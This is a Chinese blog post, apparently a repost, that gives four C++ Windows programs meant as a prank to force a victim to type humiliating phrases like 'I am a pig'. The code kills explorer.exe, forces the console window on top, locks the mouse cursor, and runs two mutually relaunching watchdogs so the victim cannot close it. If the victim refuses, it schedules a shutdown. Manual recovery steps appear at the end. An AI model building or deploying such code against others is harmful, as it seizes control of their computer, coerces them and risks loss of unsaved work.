赞
踩
今天看到一个博客,让人承认我是猪,觉得很有意思,也写了一个同样让人承认我是猪的,由4个代码(展示cpp文件,编译后变成exe才可以使用)组成,注意,由于本程序需要互相调用,所以必须放在同一目录下,且不要轻易修改名称:
第一段,整人主程序,作用:让人承认我是大傻猪,名称 整人代码.cpp
下面是代码:
- #include<bits/stdc++.h>
- #include<windows.h>
- #include <tlhelp32.h>
- bool getProcess(const char *procressName) //此函数进程名不区分大小写
- {
- char pName[MAX_PATH]; //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
- strcpy(pName,procressName); //拷贝数组
- CharLowerBuff(pName,MAX_PATH); //将名称转换为小写
- PROCESSENTRY32 currentProcess; //存放快照进程信息的一个结构体
- currentProcess.dwSize = sizeof(currentProcess); //在使用这个结构之前,先设置它的大小
- HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
-
- if (hProcess == INVALID_HANDLE_VALUE)
- {
- return false;
- }
-
- bool bMore=Process32First(hProcess,¤tProcess); //获取第一个进程信息
- while(bMore)
- {
- CharLowerBuff(currentProcess.szExeFile,MAX_PATH); //将进程名转换为小写
- if (strcmp(currentProcess.szExeFile,pName)==0) //比较是否存在此进程
- {
- CloseHandle(hProcess); //清除hProcess句柄
- return true;
- }
- bMore=Process32Next(hProcess,¤tProcess); //遍历下一个
- }
-
- CloseHandle(hProcess); //清除hProcess句柄
- return false;
- }
- void po()
- {
- if(getProcess("整人代码-防护.exe") == 0){
- system("start 整人代码-防护.exe");
- }
- if(getProcess("整人代码-防护2.exe") == 0){
- system("start 整人代码-防护2.exe");
- }
- HWND hWnd = ::GetForegroundWindow();
- ::SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
- }
- using namespace std;
- int main()
- {
- po();
- system("taskkill /f /t /im explorer.exe");
- string in;
- po();
- HWND hWnd = ::GetForegroundWindow();
- ::SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
- cout<<"哈哈哈,我把你桌面拆了。如果你关闭我,那么就请准备重启吧(话说你也关不掉,鼠标你就别想动了)。";
- cout<<endl<<"输入我是猪,不然就不给你恢复桌面了:";
- cin>>in;
- po();
- if(in == "我是猪"){
- cout<<"这是一个事实,哈哈哈\n";
- po();
- Sleep(5000);
- po();
- cout<<"怎么了,我忘了什么吗?哦要恢复桌面是吧,那就再说一声我是大傻子:";
- cin>>in;
- if(in == "我是大傻子"){
- po();
- cout<<"真乖,哈哈哈哈哈哈\n";
- Sleep(1000);
- po();
- cout<<"看在你说实话的份上,就给你恢复吧,哈哈哈";
- system("start explorer.exe");
- system("start 整人代码-kill.exe");
- return 0;
- }
- }
- po();
- cout<<"很勇啊你,让我帮你关机吧!\n";
- system("shutdown -s -t 120");
- cout<<"温馨提示:输入“我是大傻猪”即可免除关机:";
- po();
- cin>>in;
- if(in == "我是大傻猪"){
- cout<<"说的很对,我表示赞同,那就让我大发慈悲的免除你关机吧。\n";
- po();
- system("shutdown -a");
- Sleep(3000);
- po();
- cout<<"啥?\n";
- Sleep(3000);
- po();
- cout<<"我忘了什么东西?\n";
- Sleep(3000);
- po();
- cout<<"恢复啥?\n";
- Sleep(3000);
- po();
- cout<<"最近记忆不太好,忘了,想让我把你桌面装回来就说一声“我是世上独一无二绝无仅有的超级大傻猪”:";
- cin>>in;
- po();
- if(in == "我是世上独一无二绝无仅有的超级大傻猪"){
- cout<<"真乖,看我咻---";
- system("start explorer.exe");
- system("start 整人代码-kill.exe");
- return 0;
- }
- }
- cout<<"唉,人啊,看你这么不认真不说实话,那我走了";
- system("start 整人代码-kill.exe");
- return 0;
- }
第二段,防护程序,作用:防止主程序和第二个和它相对应的防护程序被关,名称 整人代码-防护.cpp
下面是代码:
- #include<bits/stdc++.h>
- #include <windows.h>
- #include <tlhelp32.h>
- using namespace std;
- bool getProcess(const char *procressName) //此函数进程名不区分大小写
- {
- char pName[MAX_PATH]; //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
- strcpy(pName,procressName); //拷贝数组
- CharLowerBuff(pName,MAX_PATH); //将名称转换为小写
- PROCESSENTRY32 currentProcess; //存放快照进程信息的一个结构体
- currentProcess.dwSize = sizeof(currentProcess); //在使用这个结构之前,先设置它的大小
- HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
-
- if (hProcess == INVALID_HANDLE_VALUE)
- {
- return false;
- }
-
- bool bMore=Process32First(hProcess,¤tProcess); //获取第一个进程信息
- while(bMore)
- {
- CharLowerBuff(currentProcess.szExeFile,MAX_PATH); //将进程名转换为小写
- if (strcmp(currentProcess.szExeFile,pName)==0) //比较是否存在此进程
- {
- CloseHandle(hProcess); //清除hProcess句柄
- return true;
- }
- bMore=Process32Next(hProcess,¤tProcess); //遍历下一个
- }
-
- CloseHandle(hProcess); //清除hProcess句柄
- return false;
- }
- int main()
- {
- ShowWindow(GetConsoleWindow(), SW_MINIMIZE);
- while(1){
- if(getProcess("整人代码.exe") == 0){
- system("start 整人代码.exe");
- }
- if(getProcess("整人代码-防护2.exe") == 0){
- system("start 整人代码-防护2.exe");
- }
- if(getProcess("整人代码-kill.exe") == 1){
- break;
- }
- HWND hWnd = ::GetForegroundWindow();
- ::SetWindowPos(hWnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
- SetCursorPos(0,0);
- }
- return 0;
- }
第三段,防护程序2,作用:和第一个防护程序相呼应,他被关则我打开他,我被关则他打开我,名称 整人代码-防护2.cpp
下面是代码:
- #include<bits/stdc++.h>
- #include <windows.h>
- #include <tlhelp32.h>
- using namespace std;
- bool getProcess(const char *procressName) //此函数进程名不区分大小写
- {
- char pName[MAX_PATH]; //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
- strcpy(pName,procressName); //拷贝数组
- CharLowerBuff(pName,MAX_PATH); //将名称转换为小写
- PROCESSENTRY32 currentProcess; //存放快照进程信息的一个结构体
- currentProcess.dwSize = sizeof(currentProcess); //在使用这个结构之前,先设置它的大小
- HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
-
- if (hProcess == INVALID_HANDLE_VALUE)
- {
- return false;
- }
-
- bool bMore=Process32First(hProcess,¤tProcess); //获取第一个进程信息
- while(bMore)
- {
- CharLowerBuff(currentProcess.szExeFile,MAX_PATH); //将进程名转换为小写
- if (strcmp(currentProcess.szExeFile,pName)==0) //比较是否存在此进程
- {
- CloseHandle(hProcess); //清除hProcess句柄
- return true;
- }
- bMore=Process32Next(hProcess,¤tProcess); //遍历下一个
- }
-
- CloseHandle(hProcess); //清除hProcess句柄
- return false;
- }
- int main()
- {
- ShowWindow(GetConsoleWindow(), SW_MINIMIZE);
- while(1){
- if(getProcess("整人代码-防护.exe") == 0){
- system("start 整人代码-防护.exe");
- }
- if(getProcess("整人代码-kill.exe") == 1){
- break;
- }
- HWND hWnd = ::GetForegroundWindow();
- ::SetWindowPos(hWnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
- SetCursorPos(0,0);
- }
- return 0;
- }
第四段,关闭整人代码和其防护,作用:关闭防护程序和主程序,名称 整人代码-kill.cpp
下面是代码:
- #include<bits/stdc++.h>
- #include<windows.h>
- #include <tlhelp32.h>
- bool getProcess(const char *procressName) //此函数进程名不区分大小写
- {
- char pName[MAX_PATH]; //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
- strcpy(pName,procressName); //拷贝数组
- CharLowerBuff(pName,MAX_PATH); //将名称转换为小写
- PROCESSENTRY32 currentProcess; //存放快照进程信息的一个结构体
- currentProcess.dwSize = sizeof(currentProcess); //在使用这个结构之前,先设置它的大小
- HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
-
- if (hProcess == INVALID_HANDLE_VALUE)
- {
- return false;
- }
-
- bool bMore=Process32First(hProcess,¤tProcess); //获取第一个进程信息
- while(bMore)
- {
- CharLowerBuff(currentProcess.szExeFile,MAX_PATH); //将进程名转换为小写
- if (strcmp(currentProcess.szExeFile,pName)==0) //比较是否存在此进程
- {
- CloseHandle(hProcess); //清除hProcess句柄
- return true;
- }
- bMore=Process32Next(hProcess,¤tProcess); //遍历下一个
- }
-
- CloseHandle(hProcess); //清除hProcess句柄
- return false;
- }
- using namespace std;
- int main()
- {
- while(getProcess("整人代码.exe")){
- system("taskkill /f /t /im 整人代码.exe");
- }
- return 0;
- }
作者亲测效果很好,下面是手动关闭此程序(不输入我是猪这些)的步骤:
第一步:乱输一气,因为程序到最后一定关闭,只不过会让你没有桌面(文件资源管理器被关),同时没有任务栏,并且两分钟后关机。但是程序已经关闭。好了,关闭程序的步骤就到此结束
第二步:通过Ctrl+Alt+Delete点任务管理器,打开它,点击右上角的文件,再点击运行新任务,输入explorer,就会打开文件资源管理器,进而恢复桌面和Windows键。
第三步:按Windows+R,打开运行框,输入cmd,回车,打开电脑的命令提示符,输入这一段语句:“shutdown -a”(不含引号),接着电脑的关机指令就会被取消,你的电脑也就恢复了。
作用:
第一步:关闭程序
第二步:打开文件资源管理器,恢复桌面、任务栏和Windows键
第三步:取消关机
注:本文章灵感来源于[c++整人代码]逼人承认“我是猪” 「v2.0」_蜀都客车的博客-CSDN博客_c++恶搞代码
但是本文章代码和如上文章没有任何关系,除getprocess函数来自其他CSDN大神之手,其它均为原创。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。